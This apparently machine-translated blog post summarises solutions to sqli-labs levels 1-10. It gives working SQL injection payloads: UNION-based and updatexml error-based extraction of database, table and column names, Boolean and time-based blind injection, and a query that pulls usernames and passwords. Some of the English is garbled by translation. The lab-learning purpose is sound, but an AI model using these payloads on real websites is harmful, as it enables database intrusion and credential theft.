当前位置:网站首页>SQL lab 1~10 summary (subsequent continuous update)
SQL lab 1~10 summary (subsequent continuous update)
2022-07-07 12:23:00 【hcjtn】
sql The general process of Injection :
(1~6 Turn off )
Determine the injection point
- When id=1 and 1=2 – q Page exception is Probably It exists in sql Inject
- If the page appears illegal , Use other injections .
Determine the number of fields
- order by ( Sort the results according to the specified column ), The output number exceeds the number of columns , Report errors , Therefore, this feature can be used , Judge the number of columns .
Judge the echo point
- eg: union select 1,2,3 Page shows 2, It indicates that the echo point is 2
- Be careful : Must let id The value of is equal to a nonexistent value , In this way, the return value of the joint query will make union The subsequent query results are in the first column of the array . Only let id Is just a nonexistent value , We will know the true data
Search for relevant content
Judge database name
?id=-1 ’ union select 1,database(),3 – q( There is obvious dislocation )
Use updatexml An error injection ( There is no obvious dislocation )
grammar :
updatexml( The goal is xml Content ,xml Document path , Updated content )
updatexml(1,concat(0x7e,( select database())0x7e),1) (0x7e, A non-conforming character appears in the function , Make it an error , Pop up the name of the library we need )
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) – q
Name of judgment table
?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 1,1-- q
?id=-1 ’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ – q
group_concat Function defect : Will put the results together , It may make the answer incomplete
- limit What is the library name echoed by the function action limit
- ?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) – q ( There is no obvious dislocation )
Judge the listing
?id=-1 ’ union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ – q
?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q**( There is no obvious dislocation )**
?id=1"%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20limit%200,1),0x7e),1)–%20q
Judgment data :
?id=-1 ’ union select 1,id,3 from emails – q
?id=1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
Extract the data :?id=-1 ’ union select 1,group_concat(concat_ws(’~’,usename,password)) from users – q
(7~10)
Different from the first four levels , Five to eight levels did not echo the searched information to the page ( Five or six levels of input error statements will show , But eight passes will not ), So blind injection is needed .( Or report a mistake , I said before )
- Bull's blind note
- lenth() function Return string length
- substr() function Intercepting string ( grammar :substr(str,pos,len);)
- ascii() Return character's ascii code [ Change characters into numbers well]
- Time type
- sleep() Hang the program for a while n by n second
- if(expr1,expr2,expr3) Judgment statement If the first statement is correct, execute the second statement If there is an error, execute the third statement .
- Bull's blind note
Bull's blind note The problem solving steps :( With sql-lab less-8 For example )
Get the length of the database name : ?id=1’ and (length(database()))=8-- q( utilize > < or = To determine the length of its database )
Get the database name :
?id=1’ and ascii(substr(database(),1,1))=115 Indicates from the database 1 Start taking a length ( You will get a decimal number , utilize ASCII Table converts it into letters or symbols ) The first is s、
It can also be done through burp suite To do it
Get the number of tables : ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q
Get the length of the name of the table : ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q Yes 6 Length
Get the name of the table : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q The first is e
Get field name :?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q The first is i
- Time blind note :( With sql-lab less-9 For example ) The problem solving steps
The Ninth level is found according to the blind note just now, no matter what conditions are entered , The echo result is a , It is proved that the Boolean blind note just now cannot be used , Try to use time blind
Parsing library name length : ?id=1’ and if(length(database())=8,sleep(5),1)-- q( If set up , Just react in five seconds , notes : there 1 It doesn't mean anything )
Resolve database name :?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name : ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
边栏推荐
- Present pod information to the container through environment variables
- 平安证券手机行开户安全吗?
- Superscalar processor design yaoyongbin Chapter 9 instruction execution excerpt
- Epp+dis learning path (1) -- Hello world!
- 30. Feed shot named entity recognition with self describing networks reading notes
- Swiftui tutorial how to realize automatic scrolling function in 2 seconds
- <No. 8> 1816. Truncate sentences (simple)
- powershell cs-UTF-16LE编码上线
- Solve server returns invalid timezone Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually
- Upgrade from a tool to a solution, and the new site with praise points to new value
猜你喜欢
![111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]](/img/2e/da45198bb6fb73749809ba0c4c1fc5.png)
111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
![110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]](/img/62/1ec8885aaa2d4dca0e764b73a1e2df.png)
110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
![[neural network] convolutional neural network CNN [including Matlab source code 1932]](/img/65/cf9d0a3f46a581dc8f28de2e28779d.png)
[neural network] convolutional neural network CNN [including Matlab source code 1932]

Tutorial on the principle and application of database system (011) -- relational database

Superscalar processor design yaoyongbin Chapter 8 instruction emission excerpt

Rationaldmis2022 array workpiece measurement

Problem: the string and characters are typed successively, and the results conflict

超标量处理器设计 姚永斌 第9章 指令执行 摘录
![[full stack plan - programming language C] basic introductory knowledge](/img/6d/555ac6b80b015e0cdfb7ef0a234f9d.png)
[full stack plan - programming language C] basic introductory knowledge
![110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]](/img/62/1ec8885aaa2d4dca0e764b73a1e2df.png)
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
随机推荐
[filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation
Flet教程之 16 Tabs 选项卡控件 基础入门(教程含源码)
Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
源代码防泄密中的技术区别再哪里
<No. 9> 1805. Number of different integers in the string (simple)
问题:先后键入字符串和字符,结果发生冲突
EPP+DIS学习之路(1)——Hello world!
盘点JS判断空对象的几大方法
Apache installation problem: configure: error: APR not found Please read the documentation
Rationaldmis2022 advanced programming macro program
(to be deleted later) yyds, paid academic resources, please keep a low profile!
什么是局域网域名?如何解析?
Introduction and application of smoothstep in unity: optimization of dissolution effect
超标量处理器设计 姚永斌 第9章 指令执行 摘录
Improve application security through nonce field of play integrity API
<No. 8> 1816. 截断句子 (简单)
【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】
@Bean与@Component用在同一个类上,会怎么样?
idea 2021中文乱码
When sink is consumed in mysql, the self incrementing primary key has been set in the database table. How to operate in Flink?